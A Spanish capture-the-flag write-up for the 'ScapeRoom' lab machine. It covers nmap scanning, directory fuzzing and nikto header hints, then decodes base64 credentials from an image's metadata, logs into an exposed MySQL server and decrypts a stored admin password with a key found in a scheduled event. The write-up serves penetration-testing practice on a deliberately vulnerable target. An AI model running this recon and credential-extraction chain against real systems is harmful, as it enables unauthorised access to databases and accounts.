ScapeRoom - TheHackerLabs

texto

Herramientas utilizadas:

  • ping
  • nmap
  • **
  • **
  • **
  • **






Recopilación de Información


Descubrimiento de Hosts

Hagamos un descubrimiento de hosts para encontrar a nuestro objetivo.

Lo haremos primero con nmap:

nmap -sn 192.168.110.0/24
Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-06 12:52 -0600
...
Nmap scan report for thlpwn.thl (192.168.110.10)
Host is up (0.00090s latency).
MAC Address: XX (Oracle VirtualBox virtual NIC)
...
Nmap done: 256 IP addresses (9 hosts up) scanned in 12.61 seconds

Vamos a probar la herramienta arp-scan:

arp-scan -I eth0 -g 192.168.110.0/24
Interface: eth0, type: EN10MB, MAC: XX, IPv4: Tu_IP
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
...
...
192.168.100.22	XX  PCS Systemtechnik GmbH

9 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.142 seconds (119.51 hosts/sec). 9 responded

Encontramos nuestro objetivo y es: 192.168.110.10.


Traza ICMP

Vamos a realizar un ping para saber si la máquina está activa y en base al TTL veremos que SO opera en la máquina.

ping -c 4 192.168.110.10
PING 192.168.110.10 (192.168.110.10) 56(84) bytes of data.
64 bytes from 192.168.110.10: icmp_seq=1 ttl=64 time=1.53 ms
64 bytes from 192.168.110.10: icmp_seq=2 ttl=64 time=0.866 ms
64 bytes from 192.168.110.10: icmp_seq=3 ttl=64 time=1.72 ms
64 bytes from 192.168.110.10: icmp_seq=4 ttl=64 time=0.562 ms

--- 192.168.110.10 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3034ms
rtt min/avg/max/mdev = 0.562/1.169/1.719/0.472 ms

Por el TTL sabemos que la máquina usa Linux, hagamos los escaneos de puertos y servicios.


Escaneo de Puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.110.10 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-06 12:53 -0600
Initiating ARP Ping Scan at 12:53
Scanning 192.168.110.10 [1 port]
Completed ARP Ping Scan at 12:53, 0.06s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 12:53
Scanning 192.168.110.10 [65535 ports]
SYN Stealth Scan Timing: About 50.00% done; ETC: 12:55 (0:00:37 remaining)
Discovered open port 80/tcp on 192.168.110.10
Discovered open port 22/tcp on 192.168.110.10
Discovered open port 3306/tcp on 192.168.110.10
Completed SYN Stealth Scan at 12:55, 75.76s elapsed (65535 total ports)
Nmap scan report for 192.168.110.10
Host is up, received arp-response (0.00087s latency).
Scanned at 2026-05-06 12:53:50 CST for 75s
Not shown: 53054 filtered tcp ports (no-response), 12478 closed tcp ports (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 64
80/tcp   open  http    syn-ack ttl 64
3306/tcp open  mysql   syn-ack ttl 64
MAC Address: XX (Oracle VirtualBox virtual NIC)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 75.96 seconds
           Raw packets sent: 124832 (5.493MB) | Rcvd: 12484 (499.368KB)
Parámetros Descripción
-p- Para indicarle un escaneo en ciertos puertos.
–open Para indicar que aplique el escaneo en los puertos abiertos.
-sS Para indicar un TCP Syn Port Scan para que nos agilice el escaneo.
–min-rate Para indicar una cantidad de envió de paquetes de datos no menor a la que indiquemos (en nuestro caso pedimos 5000).
-vvv Para indicar un triple verbose, un verbose nos muestra lo que vaya obteniendo el escaneo.
-n Para indicar que no se aplique resolución dns para agilizar el escaneo.
-Pn Para indicar que se omita el descubrimiento de hosts.
-oG Para indicar que el output se guarde en un fichero grepeable. Lo nombre allPorts.


Tenemo 3 puertos abiertos, pero es curioso ver el puerto 3306, que es del servicio MySQL, que este expuesto.


Escaneo de Servicios

nmap -sCV -p 22,80,3306 192.168.110.10 -oN targeted
Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-06 12:55 -0600
Nmap scan report for thlpwn.thl (192.168.110.10)
Host is up (0.00100s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 71:72:6f:9a:ba:7f:73:1d:bc:30:36:ee:9d:62:e8:88 (RSA)
|   256 cd:0b:5b:55:41:13:bc:1c:d1:27:81:77:ff:6d:33:15 (ECDSA)
|_  256 63:29:44:28:7d:5a:db:39:29:47:2f:a5:1d:17:fc:07 (ED25519)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Lecturas de Sensores
3306/tcp open  mysql   MySQL 8.0.40-0ubuntu0.20.04.1
| ssl-cert: Subject: commonName=MySQL_Server_8.0.39_Auto_Generated_Server_Certificate
| Not valid before: 2024-11-01T16:51:24
|_Not valid after:  2034-10-30T16:51:24
| mysql-info: 
|   Protocol: 10
|   Version: 8.0.40-0ubuntu0.20.04.1
|   Thread ID: 26
|   Capabilities flags: 65535
|   Some Capabilities: InteractiveClient, LongPassword, FoundRows, ConnectWithDatabase, SupportsTransactions, IgnoreSpaceBeforeParenthesis, Speaks41ProtocolNew, SupportsCompression, SupportsLoadDataLocal, ODBCClient, LongColumnFlag, Support41Auth, IgnoreSigpipes, DontAllowDatabaseTableColumn, SwitchToSSLAfterHandshake, Speaks41ProtocolOld, SupportsAuthPlugins, SupportsMultipleResults, SupportsMultipleStatments
|   Status: Autocommit
|   Salt: B\x0C\x12lF+6	b%!fzrR%X\x0Bi,
|_  Auth Plugin Name: caching_sha2_password
|_ssl-date: TLS randomness does not represent time
MAC Address: 08:00:27:7C:59:CE (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.93 seconds
Parámetros Descripción
-sC Para indicar un lanzamiento de scripts básicos de reconocimiento.
-sV Para identificar los servicios/versión que están activos en los puertos que se analicen.
-p Para indicar puertos específicos.
-oN Para indicar que el output se guarde en un fichero. Lo llame targeted.


Gracias al escaneo de servicios, vemos que la página web activa en el puerto 80 no utiliza un dominio y vemos información sobre la versión del servicio MySQL, etc.

Entonces, empeemos por la página web.




Análisis de Vulnerabilidades


Analizando Servicio HTTP

Entremos:

Es una página que monitorea varios sensores.

Veamos qué nos dice Wappalizer:

No hay mucho que nos ayude.

Revisando el código fuente, encontraremos una cadena en base64:

Al decodificarla con el comando base64, vemos solo un mensaje:

echo -n "QSB2ZWNlcywgbG8gbcOhcyBvYnZpbyBlcyBsbyBxdWUgc2UgcGFzYSBwb3IgYWx0by4gVHUgw7puaWNhIHNhbGlkYSBlcyB2ZXIgbG8gcXVlIG90cm9zIG5vIHZlbi4gRWwgdGllbXBvIGNvcnJlIH
kgY2FkYSBwaXN0YSBlcyB1bmEgcGllemEgY2xhdmUgZGVsIHJvbXBlY2FiZXphcy4K" | base64 -d
A veces, lo más obvio es lo que se pasa por alto. Tu única salida es ver lo que otros no ven. El tiempo corre y cada pista es una pieza clave del rompecabezas.

No encontraremos algo más, así que podemos aplicar Fuzzing para buscar directorios y/o archivos ocultos.


Fuzzing

Primero probemos con la herramienta ffuf:

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/combined_words.txt:FUZZ -u http://192.168.110.10/FUZZ -t 300 -mc 200,301 -e .php,.txt,.html

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://192.168.110.10/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/combined_words.txt
 :: Extensions       : .php .txt .html 
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 300
 :: Matcher          : Response status: 200,301
________________________________________________

administracion          [Status: 301, Size: 325, Words: 20, Lines: 10, Duration: 7ms]
css                     [Status: 301, Size: 314, Words: 20, Lines: 10, Duration: 2ms]
index.php               [Status: 200, Size: 4268, Words: 1608, Lines: 133, Duration: 6ms]
index.php               [Status: 200, Size: 4268, Words: 1608, Lines: 133, Duration: 26ms]
.                       [Status: 200, Size: 4268, Words: 1608, Lines: 133, Duration: 287ms]
:: Progress: [513480/513480] :: Job [1/1] :: 236 req/sec :: Duration: [0:07:58] :: Errors: 641 ::
Parámetros Descripción
-w Para indicar el diccionario a usar en el fuzzing.
-u Para indicar la URL a utilizar.
-t Para indicar la cantidad de hilos a usar.
-mc Para aplicar un filtro que solo muestre resultados con un código de estado específico.
-e Para específicar la extensión de un archivo a buscar.


Ahora probemos con gobuster:

gobuster dir -u http://192.168.110.10 -w /usr/share/wordlists/seclists/Discovery/Web-Content/combined_words.txt -t 300 -x php,txt,html -s 200,301 -b "" --ne
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:            http://192.168.110.10
[+] Method:         GET
[+] Threads:        300
[+] Wordlist:       /usr/share/wordlists/seclists/Discovery/Web-Content/combined_words.txt
[+] Status codes:   200,301
[+] User Agent:     gobuster/3.8.2
[+] Extensions:     html,php,txt
[+] Timeout:        10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
administracion       (Status: 301) [Size: 325] [--> http://192.168.110.10/administracion/]
css                  (Status: 301) [Size: 314] [--> http://192.168.110.10/css/]
index.php            (Status: 200) [Size: 4273]
index.php            (Status: 200) [Size: 4273]
.                    (Status: 200) [Size: 4273]
Progress: 513480 / 513480 (100.00%)
===============================================================
Finished
===============================================================
Parámetros Descripción
-u Para indicar la URL a utilizar.
-w Para indicar el diccionario a usar en el fuzzing.
-t Para indicar la cantidad de hilos a usar.
-s Para aplicar un filtro que muestre solo los códigos de estado específicos.
-b Para que funcione el filtro anterior.
–ne Para que no muestre errores.
-x Para específicar la extensión de un archivo a buscar.


Encontramos un directorio llamado administracion, pero al entrar en este, no tendremos permisos suficientes:

Sin embargo, puede que podamos ver el contenido de este directorio, por lo que también le aplicaremos Fuzzing:

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/combined_words.txt:FUZZ -u http://192.168.110.10/administracion/FUZZ -t 300 -mc 200,301 -e .php,.txt,.html

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://192.168.110.10/administracion/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/combined_words.txt
 :: Extensions       : .php .txt .html 
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 300
 :: Matcher          : Response status: 200,301
________________________________________________

login.php               [Status: 200, Size: 2714, Words: 1004, Lines: 107, Duration: 49ms]
:: Progress: [513480/513480] :: Job [1/1] :: 232 req/sec :: Duration: [0:08:35] :: Errors: 1075 ::

Muy bien, encontramos una página llamada login.php:

Por ahora no tenemos credenciales, así que tenemos que buscar una forma de encontrarlas.


Descubriendo Dominio y Subdominio Ocultos en Cabeceras HTTP con Nikto

Al no encontrar alguna pista más, utilizamos la herramienta nikto para comprobar si había algo que se nos escapaba.

Observa el resultado:

nikto -host 192.168.110.10
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.110.10
+ Target Hostname:    192.168.110.10
+ Target Port:        80
+ Start Time:         2026-05-06 13:17:04 (GMT-6)
---------------------------------------------------------------------------
+ Server: Apache/2.4.41 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: Uncommon header 'x-hint' found, with contents: Subdominios.... info.
+ /: Uncommon header 'x-contact' found, with contents: info@sensores.thl.
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.41 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /css/: Directory indexing found.
+ /css/: This might be interesting.
+ 8102 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time:           2026-05-06 13:17:51 (GMT-6) (47 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Podemos ver que hay 2 cabeceras que nos indican un dominio y un subdominio.

Podemos consultarlas con curl, indicando que nos muestre las cabeceras:

curl -i http://192.168.110.10 | head -n 8
HTTP/1.1 200 OK
Date: Thu, 07 May 2026 00:22:05 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
X-Hint: Subdominios.... info
X-Contact: info@sensores.thl
Content-Length: 4269
Content-Type: text/html; charset=UTF-8

Guardemos ese dominio y subdominio en el /etc/hosts:

echo "192.168.110.10 sensores.thl info.sensores.thl" >> /etc/hosts

Y entremos en estos para ver que encontramos.

Primero el dominio sensores.thl:

Si te das cuenta, no cambia nada con la página principal que habíamos visto antes.

Ahora el subdominio info.sensores.thl:

Ahora si que cambia, pues podemos ver más información agregada, pero no hay algo que nos ayude.


Analizando Metadatos de una Imagen y Ganando Acceso al Servicio MySQL

Algo que podemos hacer es analizar los metadatos de la imagen que encontramos:

wget http://info.sensores.thl/images/sensor_overview.png

Para ver los metadatos, usaremos la herramienta exiftool:

exiftool sensor_overview.png
ExifTool Version Number         : 13.44
File Name                       : sensor_overview.png
Directory                       : .
File Size                       : 1931 kB
File Modification Date/Time     : 2024:11:03 11:02:04-06:00
File Access Date/Time           : 2026:05:06 13:20:25-06:00
File Inode Change Date/Time     : 2026:05:06 13:20:25-06:00
File Permissions                : -rw-r--r--
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 1147
Image Height                    : 1147
Bit Depth                       : 8
Color Type                      : RGB
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Comment                         : YWN1dGU6SVM0eUJ2Znd4cFhVWnNCeGhDWHI1bXV2M2RYZFFnIQo=
Image Size                      : 1147x1147
Megapixels                      : 1.3

Observa que tiene un comentario agregado como una cadena en base64.

Vamos a decodificarla:

echo -n "YWN1dGU6SVM0eUJ2Znd4cFhVWnNCeGhDWHI1bXV2M2RYZFFnIQo=" | base64 -d
acute:IS4yBvfwxpXUZsBxhCXr5muv3dXdQg!

Parece que encontramos credenciales de acceso.

Se intento utilizar en el login que encontramos en la página web, pero no funcionara. Sin embargo, al probarlo para entrar al servicio MySQL nos dará acceso:

mysql -h 192.168.110.10 -u 'acute' -p --skip-ssl
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 24
Server version: 8.0.40-0ubuntu0.20.04.1 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]>




Explotación de Vulnerabilidades


Enumeración del Servicio MySQL y Desencriptando Contraseña Almacenada en Base de Datos

MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| SensorData         |
| information_schema |
| performance_schema |
+--------------------+
3 rows in set (0.003 sec)
MySQL [(none)]> use SensorData;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MySQL [SensorData]> show tables;
+------------------------+
| Tables_in_SensorData   |
+------------------------+
| login                  |
| sensor_readings        |
| sensor_readings_backup |
+------------------------+
3 rows in set (0.002 sec)
MySQL [SensorData]> select * from login;
+----+---------------+------------------------------------------------------------------+
| id | usuario       | password                                                         |
+----+---------------+------------------------------------------------------------------+
|  1 | administrador | BD9D09C524BC8A234E0B75D4FA60AF8A71D124915A3D44BC17B761186D0EB00E |
+----+---------------+------------------------------------------------------------------+
1 row in set (0.002 sec)
MySQL [SensorData]> show events from SensorData;
+------------+--------------------+----------------+-----------+-----------+------------+----------------+----------------+---------------------+------+---------+------------+----------------------+----------------------+--------------------+
| Db         | Name               | Definer        | Time zone | Type      | Execute at | Interval value | Interval field | Starts              | Ends | Status  | Originator | character_set_client | collation_connection | Database Collation |
+------------+--------------------+----------------+-----------+-----------+------------+----------------+----------------+---------------------+------+---------+------------+----------------------+----------------------+--------------------+
| SensorData | insert_login_data  | acute@%        | SYSTEM    | RECURRING | NULL       | 1              | MINUTE         | 2024-11-02 22:46:13 | NULL | ENABLED |          1 | utf8mb3              | utf8mb3_general_ci   | utf8mb4_0900_ai_ci |
| SensorData | sensor_data_update | root@localhost | SYSTEM    | RECURRING | NULL       | 1              | MINUTE         | 2024-11-01 18:02:42 | NULL | ENABLED |          1 | utf8mb4              | utf8mb4_0900_ai_ci   | utf8mb4_0900_ai_ci |
+------------+--------------------+----------------+-----------+-----------+------------+----------------+----------------+---------------------+------+---------+------------+----------------------+----------------------+--------------------+
MySQL [SensorData]> SELECT * FROM information_schema.EVENTS;
...
...    
    IF (SELECT COUNT(*) FROM login) = 0 THEN
        SET @password_plain = SUBSTRING(MD5(RAND()), 1, 16);
        INSERT INTO login (usuario, password)
        VALUES ('administrador', HEX(AES_ENCRYPT(@password_plain, 'encryption_key')));
    END IF;
END
...                                                                                                                                                                                                
MySQL [SensorData]> SELECT AES_DECRYPT(UNHEX(password), 'encryption_key') FROM login;
+------------------------------------------------+
| AES_DECRYPT(UNHEX(password), 'encryption_key') |
+------------------------------------------------+
| e381025ee5804e9a                               |
+------------------------------------------------+
1 row in set (0.002 sec)







Post Explotación








links


FIN